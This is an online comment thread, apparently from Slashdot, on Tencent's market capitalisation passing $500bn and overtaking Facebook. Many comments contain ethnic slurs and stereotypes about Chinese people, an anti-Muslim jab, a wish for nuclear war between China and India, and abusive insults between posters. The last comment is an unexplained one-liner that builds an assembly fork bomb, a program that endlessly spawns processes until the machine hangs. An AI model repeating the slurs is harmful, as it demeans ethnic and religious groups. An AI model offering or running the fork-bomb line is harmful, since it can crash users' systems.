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China's Tencent Breaks Through $500bn Stock Market Capitalisation (bbc.com)
An anonymous reader shares a report: The value of China's biggest social network company -- Tencent Holdings -- has overtaken that of Facebook. The company owns WeChat, an enormously popular messaging app in China, and hit gaming franchises such as League of Legends and Honour of Kings.It is the first Asian firm to surpass a market value of $500bn. Its chief executive, Ma Huateng, is now worth more than the founders of Google, Larry Page and Sergey Brin, according to Forbes. The magazine valued him at $48.3bn on Tuesday, making him the world's ninth richest man according to its ranking.
China will rule the world someday. It's inevitable. They have a much larger population than us and they're sneaky. Even with birth control, they can coast to world domination. Our only hope is if China and India get involved in a thermonuclear exchange.
At least we know what our post-Facebook world will look like now. We can all plan to bore our grandkids with tales of "Silicon Valley" when American software mattered.
But thanks for telling us how much this random rich dude is worth on paper!
Tencent is an appropriate name for a Chinese company. China only produces cheap crap, then sells it to the West. The only redeeming quality about China is a lack of Muslims.
You chinamen aren't very bright.
Ooooh you have insulted my ancestors! Prepare to die whitey!!!
only as long as the party allows it....
Isn't it a bit disingenuous to claim to be a communist country at this point?
Judging by how much they censor my comments.
Hey d-bag after you get through censoring this one try searching up Tiananmen Square Massacre....
So people in China play LoLaHoK instead of LoL?
Has Riot Games tried to sue the company that made LoLaHoK?
#DeleteFacebook
The USA main problem is that as a country, we are bad sports. We have a bad habit of glorification of our own views, while demonizing others, gives us the same effect as a selfish child demanding that they should get all the turns and nobody else gets any. And what has it gotten us, a steady decline of of happiness, sanity and increase in desperation The further we continue with being power checked the faster we accelerate on our race to the bottom. Won't somebody ground the USA before we run out of feet to shoot ourselves in?
Correction. The further the USA continue s unchecked the faster our acceleration in our social y promoted race to the bottom. The USA is a danger to itself and others. It needs to be be placed in protective custody, to give the rest of the world a chance to recover
If you dislike the US so much, leave. Nobody is forcing you to be in the richest country in the world. Get out if you can't handle it.
To be fair, the western hemisphere has shit all over everything for some couple hundred years. If anything for our species to progress, western culture will have to end. It's far to effecttive at wasting and destroying resources and efforts. If I was Darth Vader, then the USA would be my Boba Fett
Or to put it another, the USA is to the world as hell v and s to the human body. Subversive, effecttive, efficient, and deadly as fuck
Damn autocorrect. The USA is to the world as HIV is to the human body.
Does anyone else find it interesting that the Chinese government blocks access to google, wikipedia, linkedin, facebook and about 3000 others but yet you can visit slashdot?
http://viewdns.info/chinesefir...
Awww, poor whittle Trump voter. Do you need some analgesic cream for all that butthurt?
Since you dislike western culture and want it to end, that makes you a racist. It's one thing to recognize issues with the way Americans do things, and that's fine, but you go way beyond that. You also conveniently single out the United States for all your grievances against the West, when, in fact, Europe has played a large role in many of the worst atrocities in recent history. Your posts actually suggest that you just despise America, so the least you could do is be intellectually honest and admit it. Otherwise, you're just another annoying troll pushing his nonsense. You haven't actually cited how the West has harmed the world, and it would be downright stupid to pretend that other cultures haven't caused plenty of problems as well.
Japan was as imperialistic as the West, which is why they occupied Korea. A lot of Chinese culture was ruined when the Communists got power, something the West opposed. The same thing happened in other countries in Southeast Asia. The West actually learned from their mistakes after WWI and tried not to repeat them, which is why they rebuilt Japan and helped them become the power they are today. Freedom and democracy have generally raised the standard of living, and closing off from that as many Eastern nations have done, is why they've lagged behind. The Arabic world was one a leader in math and science, developing some things well ahead of the West. That progress was slowed and even halted by Islam, which has set those areas back. The West isn't perfect, but they're hardly the evil you make them out to me.
You're a troll. Go away.
Nobody except you said anything about Trump in this thread. Try to keep up. You don't seem very intelligent.
The same forces that elected Trump are present in Europe. Just look at Marine Le Pen's unprecedented success for a right winger in France. The far right isn't just gaining support in the US.
The poster didn't deserve an intelligent response. He's been making garbage posts throughout the story, bashing the United States without providing any substance. If you have an issue with the United States (like that Americans elected Trump), that's fine, and it's a fair point. Making moronic statements like the US being HIV to the rest of the world, as he's done elsewhere in this story, contributes nothing of substance and doesn't deserve an intelligent response.
Given the intellect shown in your post, you're probably "Noah Draper" posting anonymously. Try to contribute something intelligent next time. Your post is on par with the AC trolls littering this story.
You correctly identified him as a troll, and yet you post a wall of text?
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
You didn’t need to say Trump. Your post did plenty to show you were a Trump cocksucker.
The parent was posted by Noah Draper, who is a troll. Mod down Noah Draper for trolling.
Noah Draper is a troll. Stop his trolling by modding him down.
Zero substance I'm his posts, triggers to get Americans to bite. Yup, troll. Mod down.
Protectionism is the last bastion of a society that is losing the game of globalization. When we were on top we derided those who acted the way that we do now.
I'm not Noah Draper, and if you had any balls at all you wouldn't be posted as AC. Calling out another AC poster perfectly demonstrates the typical hypocritical bullshit that passes for discussion here now. Did 4chan close or something?
I am not interested in articles about life extension advancements.
The huge value of WeChat is its widespread use as a payment app. One can pay with WeChat almost everywhere in large Chinese cities and even out into the remote areas. in Shanghai there are a lot of restaurants which only take WeChat or AliPay, and don't accept other payment methods at all. A lot of smaller vendors especially now only take WeChat/AliPay or cash, no cards. I think this is the real center of that valuation, not the chat/social media aspects.
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I have to use WeChat to change with people visiting China.
Program is awful, and has been for long time. Killing battery life, not running on more than one device at a time.
Only reason it is used is because all its competition is blocked by the great firewall.
Is he a Canadian by any chance? You can't trust those maple syrup guzzling seal clubbers!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;